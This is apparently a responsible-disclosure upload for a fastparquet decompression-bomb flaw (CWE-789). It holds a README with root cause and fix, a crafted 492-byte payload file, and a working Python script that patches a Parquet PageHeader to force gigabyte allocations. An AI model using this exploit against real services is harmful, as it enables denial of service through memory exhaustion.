Upload 3 files
Browse files- README_fastparquet_poc.md +134 -0
- bomb_500mb.parquet +3 -0
- poc_fastparquet_parquet_bomb.py +162 -0
README_fastparquet_poc.md
ADDED
|
@@ -0,0 +1,134 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- security
|
| 4 |
+
- vulnerability
|
| 5 |
+
- poc
|
| 6 |
+
- parquet
|
| 7 |
+
- fastparquet
|
| 8 |
+
- decompression-bomb
|
| 9 |
+
- cwe-789
|
| 10 |
+
license: mit
|
| 11 |
+
---
|
| 12 |
+
|
| 13 |
+
# fastparquet β Parquet PageHeader Decompression Bomb (PoC)
|
| 14 |
+
|
| 15 |
+
**Repo:** `MBM7/fastparquet-parquet-decompression-bomb-poc`
|
| 16 |
+
**Status:** Responsible disclosure β submitted to Huntr
|
| 17 |
+
**Severity:** High / CWE-789 (Uncontrolled Memory Allocation)
|
| 18 |
+
|
| 19 |
+
---
|
| 20 |
+
|
| 21 |
+
## Summary
|
| 22 |
+
|
| 23 |
+
A crafted **492-byte** `.parquet` file causes `fastparquet` to allocate
|
| 24 |
+
**gigabytes of memory** before failing β enabling OOM-kill on any service
|
| 25 |
+
that loads user-supplied Parquet files.
|
| 26 |
+
|
| 27 |
+
| File size | Fake `uncompressed_page_size` | Peak allocation | Amplification |
|
| 28 |
+
|-----------|-------------------------------|-----------------|---------------|
|
| 29 |
+
| 492 bytes | 500,000,000 | **500 MB** | 1 : 1,016,260 |
|
| 30 |
+
| 492 bytes | 2,000,000,000 | **2,000 MB** | 1 : 4,065,040 |
|
| 31 |
+
|
| 32 |
+
---
|
| 33 |
+
|
| 34 |
+
## Root Cause
|
| 35 |
+
|
| 36 |
+
`fastparquet/compression.py` β `decompress_data()`:
|
| 37 |
+
|
| 38 |
+
```python
|
| 39 |
+
if algorithm.upper() in decom_into:
|
| 40 |
+
x = np.empty(uncompressed_size, dtype='uint8') # β pre-allocates upfront
|
| 41 |
+
decom_into[algorithm.upper()](
|
| 42 |
+
np.frombuffer(data, dtype=np.uint8), x
|
| 43 |
+
)
|
| 44 |
+
return x
|
| 45 |
+
```
|
| 46 |
+
|
| 47 |
+
`uncompressed_size` is passed directly from `ph.uncompressed_page_size`
|
| 48 |
+
(Thrift compact i32, PageHeader field 2) **with no bound check** at any
|
| 49 |
+
point in the call chain:
|
| 50 |
+
|
| 51 |
+
```
|
| 52 |
+
fastparquet.ParquetFile.to_pandas()
|
| 53 |
+
β read_col_group() [core.py ~291]
|
| 54 |
+
β _read_page() [core.py ~20]
|
| 55 |
+
β decompress_data(
|
| 56 |
+
data,
|
| 57 |
+
page_header.uncompressed_page_size, β from Thrift, unchecked
|
| 58 |
+
codec
|
| 59 |
+
)
|
| 60 |
+
β np.empty(uncompressed_size) β GB allocation here
|
| 61 |
+
```
|
| 62 |
+
|
| 63 |
+
`max_header_size` or equivalent limit: **does not exist** in fastparquet.
|
| 64 |
+
|
| 65 |
+
---
|
| 66 |
+
|
| 67 |
+
## Attack
|
| 68 |
+
|
| 69 |
+
Parquet format: `PAR1 | PageHeader (Thrift compact) | compressed_data | ... | PAR1`
|
| 70 |
+
|
| 71 |
+
PageHeader field 2 (`uncompressed_page_size`, type i32) is a
|
| 72 |
+
zigzag-encoded varint at byte offset 7 in a minimal single-column file.
|
| 73 |
+
|
| 74 |
+
Replacing the 1-byte varint (value `4`) with a 5-byte varint
|
| 75 |
+
(value `500_000_000`) produces a valid-looking file that triggers 500 MB
|
| 76 |
+
of allocation on any codec in `decom_into` (GZIP, SNAPPY, ZSTD, BROTLI).
|
| 77 |
+
|
| 78 |
+
---
|
| 79 |
+
|
| 80 |
+
## Reproduce
|
| 81 |
+
|
| 82 |
+
```bash
|
| 83 |
+
pip install fastparquet pyarrow
|
| 84 |
+
python poc_fastparquet_parquet_bomb.py
|
| 85 |
+
```
|
| 86 |
+
|
| 87 |
+
Expected output:
|
| 88 |
+
```
|
| 89 |
+
Crafted file size : 492 bytes
|
| 90 |
+
Expected allocation : 500,000,000 bytes
|
| 91 |
+
Amplification : 1:1,016,260
|
| 92 |
+
Result : DecompressionError: unexpected end of file
|
| 93 |
+
Peak memory : 500 MB β allocation happened
|
| 94 |
+
```
|
| 95 |
+
|
| 96 |
+
---
|
| 97 |
+
|
| 98 |
+
## Suggested Fix
|
| 99 |
+
|
| 100 |
+
`fastparquet/compression.py`, before `np.empty()`:
|
| 101 |
+
|
| 102 |
+
```python
|
| 103 |
+
MAX_UNCOMPRESSED = 256 * 1024 * 1024 # 256 MB configurable limit
|
| 104 |
+
if uncompressed_size > MAX_UNCOMPRESSED:
|
| 105 |
+
raise ValueError(
|
| 106 |
+
f"uncompressed_size {uncompressed_size} exceeds safety limit "
|
| 107 |
+
f"{MAX_UNCOMPRESSED}. Possible decompression bomb."
|
| 108 |
+
)
|
| 109 |
+
```
|
| 110 |
+
|
| 111 |
+
---
|
| 112 |
+
|
| 113 |
+
## Environment
|
| 114 |
+
|
| 115 |
+
| Package | Version |
|
| 116 |
+
|---------------|-----------|
|
| 117 |
+
| fastparquet | 2026.5.0 |
|
| 118 |
+
| pyarrow | 25.0.0 |
|
| 119 |
+
| Python | 3.12 |
|
| 120 |
+
|
| 121 |
+
---
|
| 122 |
+
|
| 123 |
+
## Files
|
| 124 |
+
|
| 125 |
+
| File | Description |
|
| 126 |
+
|---------------------------------------|--------------------------|
|
| 127 |
+
| `poc_fastparquet_parquet_bomb.py` | PoC script (self-contained) |
|
| 128 |
+
| `bomb_500mb.parquet` | Crafted payload (492 bytes) |
|
| 129 |
+
|
| 130 |
+
---
|
| 131 |
+
|
| 132 |
+
*Discovered via empirical security research using UBDAF (Universal Bug
|
| 133 |
+
Discovery & Analysis Framework) β Q2 CRITICAL pattern: arithmetic on
|
| 134 |
+
externally-controlled value without bound check.*
|
bomb_500mb.parquet
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:06e5f6962e617cd9025df58593e7cd0613378ebb8b0cfd0edc7540428cde192b
|
| 3 |
+
size 492
|
poc_fastparquet_parquet_bomb.py
ADDED
|
@@ -0,0 +1,162 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: fastparquet Parquet PageHeader Decompression Bomb
|
| 3 |
+
Target : fastparquet (PyPI package `fastparquet`)
|
| 4 |
+
Format : Parquet (.parquet) β Huntr target: $1500
|
| 5 |
+
Tested : fastparquet 2026.5.0, pyarrow 25.0.0, Python 3.12
|
| 6 |
+
Author : mgm-77 / MBM7
|
| 7 |
+
|
| 8 |
+
=== Finding: Unvalidated PageHeader.uncompressed_page_size β GB-scale allocation ===
|
| 9 |
+
CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
|
| 10 |
+
|
| 11 |
+
fastparquet/compression.py, function decompress_data():
|
| 12 |
+
|
| 13 |
+
if algorithm.upper() in decom_into:
|
| 14 |
+
x = np.empty(uncompressed_size, dtype='uint8') # β pre-allocates upfront
|
| 15 |
+
decom_into[algorithm.upper()](
|
| 16 |
+
np.frombuffer(data, dtype=np.uint8), x
|
| 17 |
+
)
|
| 18 |
+
return x
|
| 19 |
+
|
| 20 |
+
The `uncompressed_size` parameter comes from ph.uncompressed_page_size
|
| 21 |
+
(Thrift compact i32 field 2 in PageHeader), which is read directly from
|
| 22 |
+
the Parquet binary file with no validation whatsoever.
|
| 23 |
+
|
| 24 |
+
fastparquet/core.py line ~291 also uses it without guard:
|
| 25 |
+
uncompressed_page_size = (ph.uncompressed_page_size
|
| 26 |
+
- data_header2.definition_levels_byte_length
|
| 27 |
+
- data_header2.repetition_levels_byte_length)
|
| 28 |
+
|
| 29 |
+
Root cause: there is no check of the form
|
| 30 |
+
if ph.uncompressed_page_size > SOME_SAFE_LIMIT: raise ValueError(...)
|
| 31 |
+
at any point between reading the Thrift field and the np.empty() call.
|
| 32 |
+
|
| 33 |
+
=== Attack: patch Thrift varint in PageHeader ===
|
| 34 |
+
A valid Parquet file's PageHeader is located at offset 4 (after PAR1 magic).
|
| 35 |
+
Thrift compact field 2 (uncompressed_page_size, type i32) is a zigzag-encoded
|
| 36 |
+
varint starting at byte offset 7 in a minimal single-column file.
|
| 37 |
+
Replacing the 1-byte varint (value 4) with a 5-byte varint (value 500_000_000)
|
| 38 |
+
produces a crafted file that causes 500 MB of memory allocation on read.
|
| 39 |
+
|
| 40 |
+
=== Impact ===
|
| 41 |
+
Any service that reads user-supplied .parquet files with fastparquet
|
| 42 |
+
(Dask, pandas via fastparquet engine, HuggingFace datasets, custom ML
|
| 43 |
+
pipelines) can be OOM-killed by a sub-1KB malicious file.
|
| 44 |
+
"""
|
| 45 |
+
|
| 46 |
+
import io
|
| 47 |
+
import struct
|
| 48 |
+
import tracemalloc
|
| 49 |
+
|
| 50 |
+
import numpy as np
|
| 51 |
+
import pyarrow as pa
|
| 52 |
+
import pyarrow.parquet as pq
|
| 53 |
+
import fastparquet
|
| 54 |
+
|
| 55 |
+
|
| 56 |
+
# ββ Thrift compact varint helpers βββββββββββββββββββββββββββββββββββββββββββββ
|
| 57 |
+
|
| 58 |
+
def zigzag_encode(n: int) -> int:
|
| 59 |
+
return (n << 1) ^ (n >> 31)
|
| 60 |
+
|
| 61 |
+
|
| 62 |
+
def write_varint(value: int) -> bytes:
|
| 63 |
+
out = []
|
| 64 |
+
while value > 0x7F:
|
| 65 |
+
out.append((value & 0x7F) | 0x80)
|
| 66 |
+
value >>= 7
|
| 67 |
+
out.append(value)
|
| 68 |
+
return bytes(out)
|
| 69 |
+
|
| 70 |
+
|
| 71 |
+
# ββ Payload builder βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 72 |
+
|
| 73 |
+
def make_bomb_parquet(fake_uncompressed_size: int) -> bytes:
|
| 74 |
+
"""
|
| 75 |
+
Build a crafted Parquet file where the PageHeader claims
|
| 76 |
+
`uncompressed_page_size = fake_uncompressed_size` but actual
|
| 77 |
+
compressed data is tiny.
|
| 78 |
+
|
| 79 |
+
Valid minimal file is written by pyarrow, then byte-patched
|
| 80 |
+
at the known Thrift varint offset.
|
| 81 |
+
"""
|
| 82 |
+
# Write a valid 1-row, 1-column GZIP-compressed Parquet file
|
| 83 |
+
table = pa.table({"val": pa.array([42], type=pa.int32())})
|
| 84 |
+
buf = io.BytesIO()
|
| 85 |
+
pq.write_table(table, buf, compression="GZIP")
|
| 86 |
+
data = bytearray(buf.getvalue())
|
| 87 |
+
|
| 88 |
+
# PageHeader starts at offset 4 (after PAR1 magic).
|
| 89 |
+
# Field 2 (uncompressed_page_size) varint is at byte offset 7.
|
| 90 |
+
# Original value = 4 β zigzag(4) = 8 β varint = b'\x08' (1 byte)
|
| 91 |
+
original_varint = write_varint(zigzag_encode(4)) # b'\x08'
|
| 92 |
+
fake_varint = write_varint(zigzag_encode(fake_uncompressed_size))
|
| 93 |
+
|
| 94 |
+
assert data[7:7 + len(original_varint)] == original_varint, (
|
| 95 |
+
"Unexpected varint at offset 7 β file layout may have changed"
|
| 96 |
+
)
|
| 97 |
+
|
| 98 |
+
crafted = bytes(data[:7]) + fake_varint + bytes(data[7 + len(original_varint):])
|
| 99 |
+
return crafted
|
| 100 |
+
|
| 101 |
+
|
| 102 |
+
# ββ Main ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 103 |
+
|
| 104 |
+
BOMB_CASES = [
|
| 105 |
+
(500_000_000, "500 MB"),
|
| 106 |
+
(2_000_000_000, "2 GB β triggers MemoryError on RAM-limited hosts"),
|
| 107 |
+
]
|
| 108 |
+
|
| 109 |
+
print("=" * 64)
|
| 110 |
+
print("fastparquet: Parquet PageHeader Decompression Bomb")
|
| 111 |
+
print("CWE-789 / CULA Pattern #7")
|
| 112 |
+
print("=" * 64)
|
| 113 |
+
|
| 114 |
+
for fake_size, label in BOMB_CASES:
|
| 115 |
+
payload = make_bomb_parquet(fake_size)
|
| 116 |
+
|
| 117 |
+
print(f"\n Fake uncompressed_page_size : {fake_size:,} ({label})")
|
| 118 |
+
print(f" Crafted file size : {len(payload)} bytes")
|
| 119 |
+
print(f" Expected allocation : {fake_size:,} bytes")
|
| 120 |
+
print(f" Amplification : 1:{fake_size // len(payload):,}")
|
| 121 |
+
|
| 122 |
+
tracemalloc.start()
|
| 123 |
+
try:
|
| 124 |
+
pf = fastparquet.ParquetFile(io.BytesIO(payload))
|
| 125 |
+
_ = pf.to_pandas()
|
| 126 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 127 |
+
print(f" Result : LOADED (unexpected)")
|
| 128 |
+
print(f" Peak memory : {peak:,} bytes")
|
| 129 |
+
except MemoryError:
|
| 130 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 131 |
+
print(f" Result : MemoryError β OOM triggered β")
|
| 132 |
+
print(f" Peak memory : {peak/1e6:.0f} MB")
|
| 133 |
+
except Exception as e:
|
| 134 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 135 |
+
print(f" Result : {type(e).__name__}: {e}")
|
| 136 |
+
print(f" Peak memory : {peak/1e6:.0f} MB β allocation happened")
|
| 137 |
+
finally:
|
| 138 |
+
tracemalloc.stop()
|
| 139 |
+
|
| 140 |
+
print()
|
| 141 |
+
print("=" * 64)
|
| 142 |
+
print("Root cause β fastparquet/compression.py, decompress_data():")
|
| 143 |
+
print()
|
| 144 |
+
print(" def decompress_data(data, uncompressed_size, algorithm):")
|
| 145 |
+
print(" ... ")
|
| 146 |
+
print(" if algorithm.upper() in decom_into: ")
|
| 147 |
+
print(" x = np.empty(uncompressed_size, dtype='uint8') ")
|
| 148 |
+
print(" ^^^^^^^^^^^^^^^^^ from Thrift, ")
|
| 149 |
+
print(" no bound check ")
|
| 150 |
+
print(" decom_into[...](np.frombuffer(data,...), x) ")
|
| 151 |
+
print(" return x ")
|
| 152 |
+
print()
|
| 153 |
+
print("Suggested fix: add before np.empty():")
|
| 154 |
+
print(" MAX_UNCOMPRESSED = 256 * 1024 * 1024 # 256 MB")
|
| 155 |
+
print(" if uncompressed_size > MAX_UNCOMPRESSED:")
|
| 156 |
+
print(" raise ValueError(f'uncompressed_size {uncompressed_size} exceeds limit')")
|
| 157 |
+
print()
|
| 158 |
+
print("=" * 64)
|
| 159 |
+
print(f"fastparquet version : {fastparquet.__version__}")
|
| 160 |
+
import pyarrow, sys
|
| 161 |
+
print(f"pyarrow version : {pyarrow.__version__}")
|
| 162 |
+
print(f"Python version : {sys.version}")
|